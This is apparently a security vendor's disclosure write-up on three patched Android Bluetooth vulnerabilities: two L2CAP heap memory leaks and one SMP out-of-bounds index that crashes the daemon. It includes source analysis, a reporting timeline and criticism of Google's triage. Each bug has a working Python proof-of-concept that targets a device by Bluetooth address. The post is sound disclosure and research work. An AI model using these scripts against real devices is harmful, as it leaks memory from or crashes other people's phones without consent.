Earlier this year, on March 2018, we published a blog post detailing 2 vulnerabilities in the Android Bluetooth stack, which were independently discovered by Quarkslab, but were fixed in the March 2018 Android Security Bulletin while we were in the process of reporting them to Google.

Nonetheless, at the same time, we reported to the Android team three other security issues affecting its Bluetooth component. At the time only one of the three issues was acknowledged by the Android team, and it was closed as duplicated; the other two reports were ignored, however Google fixed both of them on the June and July 2018 Android security bulletins.

Introduction

By March 2018 we had reported to Google a few vulnerabilities in the Bluetooth stack of Android:

  • Issue 74882215: Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure

  • Issue 74889513: Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure

  • Issue 74917004: Bluetooth SMP smp_sm_event() OOB Array Indexing

The three of them were reported on March 15th, 2018. The first bug (issue 74882215) was the only one that got any response from the Android security team (not counting the gentle bot that automatically acknowledges bug reports and promptly asks you to sign the Google Contributor License Agreement): 11 days after our initial submission, issue 74882215 was marked as a duplicate of issue 74135099, which had been previously submitted by another external researcher on March 4th, 2018.

Regarding the other two vulnerabilities, we never received any answer from the Android team. However, we noticed that issue 74889513 was fixed with this commit, along with issue 74882215 and other similar OOB reads in the same function, in the June 2018 Android Security Bulletin. These two bugs are credited to Jianjun Dai (@Jioun_dai) and Guang Gong (@oldfresher) of Qihoo 360's Alpha Team, and they have CVEs assigned from the following set: {CVE-2018-9359, CVE-2018-9360, CVE-2018-9361}, although it is not clear exactly which ones.

The third bug report (issue 74917004) was also totally ignored by the Android team. However, we noticed that it was fixed in the July 2018 Security Bulletin (CVE-2018-9365) and it was rated as "Critical - RCE". It was credited to the same researchers mentioned above: Jianjun Dai and Guang Gong of Qihoo 360's Alpha Team. The fix for this bug is dated March 30th 2018, that is, 15 days after our report.

Last minute update: right after tweeting about issue 74917004, we received an update from the Android team on the Google Issue Tracker, stating that:

  • Issue 74917004 was a duplicate of issue 74051120, which was previously submitted by another researcher on March 2nd, 2018.

  • Issue 74889513 was a duplicate of issue 74125947, which was previously submitted by another researcher on March 5th, 2018.

Leaving vulnerability disclosure adventures aside, here are the technical details for the three issues that we have reported.

Vulnerability #1: Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure

Brief

A vulnerability in the Android Bluetooth stack can be leveraged by a remote attacker within Bluetooth range to disclose 2 bytes belonging to the heap of the com.android.bluetooth daemon, by sending a specially crafted L2CAP packet to the target device.

Vulnerability Details

L2CAP is a protocol within the Bluetooth protocol stack. L2CAP's functions include transporting data for higher layer protocols, including multiplexing multiple applications over a single link. L2CAP is channel-based, and control commands are sent on the predefined L2CAP_SIGNALLING_CID (0x01) channel.

L2CAP incoming data is handled by the l2c_rcv_acl_data() function [platform/system/bt/stack/l2cap/l2c_main.cc].

If an incoming L2CAP packet specifies L2CAP_SIGNALLING_CID as its target channel, then l2c_rcv_acl_data() calls the process_l2cap_cmd() function to handle the L2CAP control commands. The L2CAP_CMD_CONN_REQ control command is handled this way in the process_l2cap_cmd() function:

case L2CAP_CMD_CONN_REQ:
  STREAM_TO_UINT16(con_info.psm, p);
  STREAM_TO_UINT16(rcid, p);
  p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
  if (p_rcb == NULL) {
    L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d",
                        con_info.psm);
    l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);
    break;
  } else {
  [...]

The code above uses the STREAM_TO_UINT16 macro [platform/system/bt/stack/include/bt_types.h] to read 2 uint16_t values (con_info.psm and rcid) from the L2CAP packet:

#define STREAM_TO_UINT16(u16, p)                                  \
  {                                                               \
    (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
    (p) += 2;                                                     \
  }

The vulnerability lies in the fact that the STREAM_TO_UINT16 macro is used without checking if there is enough data remaining in the attacker-controlled packet; if there are no remaining bytes in the packet when STREAM_TO_UINT16 is used for a second time, then rcid is read from out-of-bounds, more precisely from whatever data is adjacent to the packet data on the heap. After that, if l2cu_find_rcb_by_psm() returns NULL and therefore the if branch is reached, the call to l2cu_reject_connection() [stack/l2cap/l2c_utils.cc] will send rcid to the remote peer, effectively leaking 2 bytes from the heap:

void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid,
                            uint8_t rem_id, uint16_t result) {
  [...]
  UINT16_TO_STREAM(p, 0); /* Local CID of 0   */
  UINT16_TO_STREAM(p, remote_cid);
  UINT16_TO_STREAM(p, result);
  UINT16_TO_STREAM(p, 0); /* Status of 0      */
  l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}

Note that l2cu_find_rcb_by_psm() can be fully influenced by the attacker to always return NULL (and therefore to always reach the if branch) by providing a non-registered Protocol/Service Multiplexer (PSM) ID field in the crafted L2CAP packet.

Also, note that this insecure code pattern of using the STREAM_TO_UINT16 macro without checking if there is enough data remaining in the attacker-controlled packet seems to be used all over the place in the process_l2cap_cmd() function.

Proof-of-Concept

The following Python code triggers the vulnerability and prints the 16-bit value leaked from the heap of the com.android.bluetooth daemon of the target Bluetooth device.

This Python code uses the l2cap_infra package from the Blueborne framework.

Usage: $ sudo python l2cap01.py <src-hci> <target-bdaddr>.

Example: $ sudo python l2cap01.py hci0 00:11:22:33:44:55.

import os
import sys
from l2cap_infra import *

L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_CONN_REQ = 0x02


def main(src_hci, dst_bdaddr):
    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)

    # This will leak 2 bytes from the heap
    print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..."
    cmd_code = L2CAP_CMD_CONN_REQ
    cmd_id = 0x41               # not important
    cmd_len = 0x00              # bypasses this check at lines 296/297 of l2c_main.cc:   p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
    non_existent_psm = 0x3333   # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called

    # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
    # 170    /* Send the data through the channel state machine */
    # 171    if (rcv_cid == L2CAP_SIGNALLING_CID) {
    # 172      process_l2cap_cmd(p_lcb, p, l2cap_len);
    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBHH', cmd_code, cmd_id, cmd_len, non_existent_psm)))
    l2cap_loop.on(lambda pkt: True,
                  lambda loop, pkt: pkt)

    # And printing the returned data.
    pkt = l2cap_loop.cont()[0]
    print "Response: %s\n" % repr(pkt)
    # print "Packet layers: %s" % pkt.summary()
    # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp
    # The response contains 1 leaked word in the 'scid' field of the L2CAP_ConnResp layer
    print "Leaked word: 0x%04x" % pkt[2].scid

    l2cap_loop.finish()

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: l2cap01.py <src-hci> <dst-bdaddr>")
    else:
        if os.getuid():
            print "Error: This script must be run as root."
        else:
            main(*sys.argv[1:])

Vulnerability #2: Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure

Brief

A vulnerability in the Android Bluetooth stack can be used by a remote attacker within Bluetooth range to disclose 4 bytes belonging to the heap of the com.android.bluetooth daemon, by sending a specially crafted L2CAP packet to the target device.

Vulnerability Details

The L2CAP_CMD_DISC_REQ control command is handled this way in the process_l2cap_cmd() function:

case L2CAP_CMD_DISC_REQ:
  STREAM_TO_UINT16(lcid, p);
  STREAM_TO_UINT16(rcid, p);
  p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);
  if (p_ccb != NULL) {
    if (p_ccb->remote_cid == rcid) {
      p_ccb->remote_id = id;
      l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);
    }
  } else
    l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);

The code above uses the STREAM_TO_UINT16 macro [platform/system/bt/stack/include/bt_types.h] to read 2 uint16_t values (lcid and rcid) from the L2CAP packet:

#define STREAM_TO_UINT16(u16, p)                                  \
  {                                                               \
    (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
    (p) += 2;                                                     \
  }

The vulnerability lies in the fact that the STREAM_TO_UINT16 macro is used twice without checking if there are at least 4 more bytes in the attacker-controlled packet data; if there are no bytes remaining in the packet, then lcid and rcid are read from out-of-bounds, more precisely from whatever data is adjacent to the packet data on the heap. After that, if l2cu_find_ccb_by_cid() returns NULL and therefore the else branch is reached, the call to l2cu_send_peer_disc_rsp() [platform/system/bt/stack/l2cap/l2c_utils.cc] sends lcid and rcid to the remote peer, effectively leaking 4 bytes from the heap:

void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id,
                             uint16_t local_cid, uint16_t remote_cid) {
[...]
  UINT16_TO_STREAM(p, local_cid);
  UINT16_TO_STREAM(p, remote_cid);
  l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}

Note that l2cu_find_ccb_by_cid() can be fully influenced by the attacker to return NULL (and therefore reaching the else branch), since that function will always return NULL unless an active Channel Control Block (CCB) is set with the bogus lcid between the target Bluetooth device and the attacker's Bluetooth device.

Proof-of-Concept

The following Python code triggers the vulnerability and prints the two 16-bit values leaked from the heap of the com.android.bluetooth daemon of the target Bluetooth device.

This Python code uses the l2cap_infra package from the Blueborne framework.

Usage: $ sudo python l2cap02.py <src-hci> <target-bdaddr>.

Example: $ sudo python l2cap02.py hci0 00:11:22:33:44:55.

import os
import sys
from l2cap_infra import *

L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_DISC_REQ = 0x06


def main(src_hci, dst_bdaddr):
    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)

    # This will leak 4 bytes from the heap
    print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..."
    cmd_code = L2CAP_CMD_DISC_REQ
    cmd_id = 0x41               # not important
    cmd_len = 0x00              # bypasses this check at lines 296/297 of l2c_main.cc:   p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {

    # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
    # 170    /* Send the data through the channel state machine */
    # 171    if (rcv_cid == L2CAP_SIGNALLING_CID) {
    # 172      process_l2cap_cmd(p_lcb, p, l2cap_len);
    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBH', cmd_code, cmd_id, cmd_len)))
    l2cap_loop.on(lambda pkt: True,
                  lambda loop, pkt: pkt)

    # And printing the returned data.
    pkt = l2cap_loop.cont()[0]
    print "Response: %s\n" % repr(pkt)
    # print "Packet layers: %s" % pkt.summary()
    # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp
    # The response contains 2 leaked words in the 'dcid' and 'scid' fields of the L2CAP_DisconnResp layer
    print "Leaked words: 0x%04x 0x%04x" % (pkt[2].dcid, pkt[2].scid)

    l2cap_loop.finish()


if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: l2cap02.py <src-hci> <dst-bdaddr>")
    else:
        if os.getuid():
            print "Error: This script must be run as root."
        else:
            main(*sys.argv[1:])

Vulnerability #3: Bluetooth SMP smp_sm_event() OOB Array Indexing

Brief

A vulnerability in the Android Bluetooth stack can be used by a remote attacker within Bluetooth range to make the com.android.bluetooth daemon access an array outside of its boundaries, by sending an SMP packet containing the SMP_OPCODE_PAIRING_REQ command over an unexpected transport to the target device.

Vulnerability Details

The Security Manager Protocol (SMP) offers applications running over a Bluetooth Low Energy stack access to services such as device authentication, device authorization, and data privacy to applications running over a Bluetooth Low Energy stack. The SMP protocol goes on top of L2CAP, over the predefined L2CAP_SMP_CID (0x06) channel.

Incoming SMP packets are handled by the smp_data_received() function [platform/system/bt/stack/smp/smp_l2c.cc]. If an incoming SMP packet over the L2CAP_SMP_CID fixed channel containing a SMP_OPCODE_PAIRING_REQ (0x01) command is received, the following code is reached:

static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
                              BT_HDR* p_buf) {
  [...]
  /* reject the pairing request if there is an on-going SMP pairing */
  if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
    if ((p_cb->state == SMP_STATE_IDLE) &&
        (p_cb->br_state == SMP_BR_STATE_IDLE) &&
        !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
      p_cb->role = L2CA_GetBleConnRole(bd_addr);
  [...]

As shown in the code above, p_cb->role is set to the value returned by L2CA_GetBleConnRole(bd_addr). p_cb->role is supposed to hold one of these values [platform/system/bt/stack/include/hcidefs.h]:

/* HCI role defenitions */
#define HCI_ROLE_MASTER 0x00
#define HCI_ROLE_SLAVE 0x01
#define HCI_ROLE_UNKNOWN 0xff

If we look at the code of the L2CA_GetBleConnRole() function [platform/system/bt/stack/l2cap/l2c_ble.cc], we can see that it calls l2cu_find_lcb_by_bd_addr() in order to find an active Link Control Block (LCB) structure matching the remote BDADDR and using the Low Energy transport (BT_TRANSPORT_LE); if it fails to find it, then it returns HCI_ROLE_UNKNOWN (0xff). This is the case when we hit this code by sending an SMP packet containing an SMP_OPCODE_PAIRING_REQ command over the BR/EDR (Basic Rate/Enhanced Data Rate, also known as "classic" Bluetooth) transport, when it is supposed to work only for the Low Energy (LE) transport:

uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
  uint8_t role = HCI_ROLE_UNKNOWN;
  tL2C_LCB* p_lcb;
  p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
  if (p_lcb != NULL) role = p_lcb->link_role;
  return role;
}

So, going back to the smp_data_received() function, after setting p_cb->role to HCI_ROLE_UNKNOWN (0xff), it calls smp_sm_event() [platform/system/bt/stack/smp/smp_main.cc], and we reach this code:

953  void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) {
...
957    tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
...
970    /* look up the state table for the current state */
971    /* lookup entry /w event & curr_state */
972    /* If entry is ignore, return.
973     * Otherwise, get state table (according to curr_state or all_state) */
974    if ((event <= SMP_MAX_EVT) &&
975        ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {

At line 957, the code reads from the smp_entry_table static array, using p_cb->role as the index, without checking if p_cb->role has one of the two valid values (either HCI_ROLE_MASTER (0x00) or HCI_ROLE_SLAVE (0x01)). Here lies the vulnerability: the smp_entry_table static array only contains 2 elements, while p_cb->role has value 0xFF, after receiving an SMP packet containing a SMP_OPCODE_PAIRING_REQ command over the BR/EDR transport, instead of having it over the expected Low Energy transport:

static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map,
                                                 smp_slave_entry_map};

Therefore, the entry_table local variable will contain some garbage value (whatever is located after the smp_entry_table global variable in the data section of the bluetooth.default.so binary), as a result of the OOB indexing when executing entry_table = smp_entry_table[0xff]. So, later, at line 975, when dereferencing entry_table[event - 1][curr_state], it will most likely cause a segmentation fault (influenced by the particular version of the bluetooth.default.so binary, where the smp_entry_table global variable is located) which will make the com.android.bluetooth daemon to stop working.

I think there are some theoretical chances of being able to go further with this bug, if one is lucky enough to find a version of bluetooth.default.so which does not crash when dereferencing entry_table[event - 1][curr_state]. I did not dig any further into this possibility, however the rating of this vulnerability as "Critical - RCE" by the Android Security Team seems to confirm the hypothesis.

Proof-of-Concept

The following Python code triggers the vulnerability and most probably crashes the com.android.bluetooth daemon on the target device.

This Python code uses the l2cap_infra package from the Blueborne framework.

Usage: $ sudo python smp01.py <src-hci> <target-bdaddr>.

Example: $ sudo python smp01.py hci0 00:11:22:33:44:55.

import os
import sys
from l2cap_infra import *


L2CAP_SMP_CID = 0x06
# This matches the CID used in l2cap_infra to establish a successful connection.
OUR_LOCAL_SCID = 0x40
SMP_OPCODE_PAIRING_REQ = 0x01



def main(src_hci, dst_bdaddr):
    l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)

    print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."
    cmd_code = SMP_OPCODE_PAIRING_REQ
    the_id = 0x41       # not important
    cmd_len = 0x08
    flags = 0x4142      # not important


    # here we use L2CAP_SMP_CID as cid
    l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('<BBHHH', cmd_code, the_id, cmd_len, OUR_LOCAL_SCID, flags)))
    l2cap_loop.finish()
    print "The com.android.bluetooth daemon should have crashed."

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: smp01.py <src-hci> <dst-bdaddr>")
    else:
        if os.getuid():
            print "Error: This script must be run as root."
        else:
            main(*sys.argv[1:])

Timeline

  • March 15th, 2018: Quarkslab reports to Google three vulnerabilities affecting the Android Bluetooth stack. Bugs are added to the "Android External Security Reports" issue tracker under IDs 74882215, 74889513 and 74917004.

  • March 16th, 2018: A gentle bot acknowledges all three security reports.

  • March 26th, 2018: The Android Security Team closes issue 74882215 as a duplicate of issue 74135099, stating that the bug has been previously reported by another external researcher on March 4th, 2018.

  • May 10th, 2018: Quarkslab gets back to remaining issues 74889513 and 74917004, reminding Google that almost two months have passed since the initial report without any response from the Android team, and asking if anyone was able to assess the bugs.

  • June 4th, 2018: The June 2018 Android Security Bulletin is published, fixing issues 74882215 and 74889513.

  • July 2nd, 2018: The July 2018 Android Security Bulletin is published, fixing issue 74917004.

  • July 25th, 2018: This blog post is published.

Conclusion

We reported to Google three vulnerabilities affecting the Bluetooth stack of Android. Two of them affect the code handling the L2CAP protocol, and they allow remote attackers (within Bluetooth range) to disclose memory contents belonging to the com.android.bluetooth process. These memory disclosure vulnerabilities could be helpful for attackers at early stages of an exploit chain, or they could even be used to retrieve sensitive data.

The third vulnerability is an out-of-bounds array indexing error in the implementation of the SMP protocol, and while most probably it would make the com.android.bluetooth process crash, there are chances that it can be leveraged to achieve remote code execution on a vulnerable Android device from remote. Interestingly, unlike the two L2CAP issues, this SMP bug is not the result of parsing a malformed packet; actually, it can be triggered by just sending a well-formed SMP packet containing the SMP_OPCODE_PAIRING_REQ, but over the BR/EDR ("classic" Bluetooth) transport instead of the expected BLE (Low Energy) transport.

Unfortunately, the handling of the vulnerability reports by Google was not good at all. Only one out of three reports was acknowledged. If the two remaining issues were identified as duplicated by the Android team, they should have been managed as they did with the first one, that is, closing them as duplicated, and stating the issue number of the preexisting reports.

All the three bugs ended up being fixed, either on the June 2018 or July 2018 Android Security Bulletins. However, we did not have any kind of visibility regarding triage, fix status or expected patch date for any of the bugs.

Thanks

A big thanks goes to my colleagues at Quarkslab for proof-reading this blog post.


If you would like to learn more about our security audits and explore how we can help you, get in touch with us!